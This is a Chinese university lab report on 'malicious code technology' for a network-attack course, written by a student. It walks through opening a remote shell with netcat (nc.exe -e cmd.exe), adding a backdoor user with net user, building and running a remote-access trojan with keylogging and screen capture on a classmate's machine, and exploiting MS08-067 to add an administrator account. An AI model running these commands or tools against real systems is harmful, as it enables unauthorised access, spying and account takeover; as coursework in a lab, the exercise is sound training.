中国人民公安大学

Chinese people’ public security university

 

网络对抗技术

实验报告

 

实验四

恶意代码技术

 

 

 

学生姓名	乔贺威
年级	2015
区队	一区队
指导教师	高见

 

 

 

 

任务一 利用NC控制电脑

 

 NetCat，具有网络军刀之称，它小巧精悍且功能强大，说它小巧精悍，是因为他的软件大小现在已经压缩到只有十几KB，而且在功能上丝毫不减。

 

实验过程需要两个同学相互配合完成：

 

步骤一：

 

   在受害者的机器 （同学A）

输入下面的命令：

　　nc.exe -l -p port -e cmd.exe   进入监听模式

 

 

 

 

步骤二：

　　在攻击者的机器.（同学B）

输入下面的命令：

　　nc ip  port //连接victim_IP,然后得到一个shell。 （需要截图）

 

 

步骤三：

 

    在shell中，利用net user 用户名 密码 /add ，添加一个用户，并在受害者的机器中使用 net user 命令进行验证。（需要截图）

 

 

 

 

 

任务二 利用木马控制电脑

 

实验过程需要两个同学配合：

 

步骤一：

 

   　攻击者的机器. （同学A）

打开V2014.exe程序或则star RAT，这两个木马功能类似。

步骤二：

　　点击菜单栏中的“服务生成”，在弹出的配置服务端中，配置回连IP地址（攻击者IP）和端口号，并点击“生成”按钮，生成木马服务端。

步骤三：

将生成的木马可执行程序拷贝到受害者的机器，并双击运行。 

步骤四：

在控制端中查看木马上线情况，并对以下功能每个进行测试和截图。 

 

1.文件管理，尝试拷贝文件

 

2.屏幕控制，尝试获取桌面

 

 

3.键盘记录，尝试获取对方击键记录

不知道为什么失败了好几次之后换了台电脑才成功，可能与前一个实验发生了冲突

 

 

4.会话管理，重启对方机器，查看是否能自启动上线

 未成功

 

会话管理，卸载对方的木马。

 

任务三 通过漏洞获取shell（合天平台中做） 所有过程截图写博客

 windows ms08067 漏洞利用

在平台中获取shell之后，继续利用攻击机器使用

net user user pass /add

net localgroup administrators /add

命令向被攻击的机器中添加账户，并提升为管理员

然后用rdesktop 10.1.1.130 登陆对方的远程桌面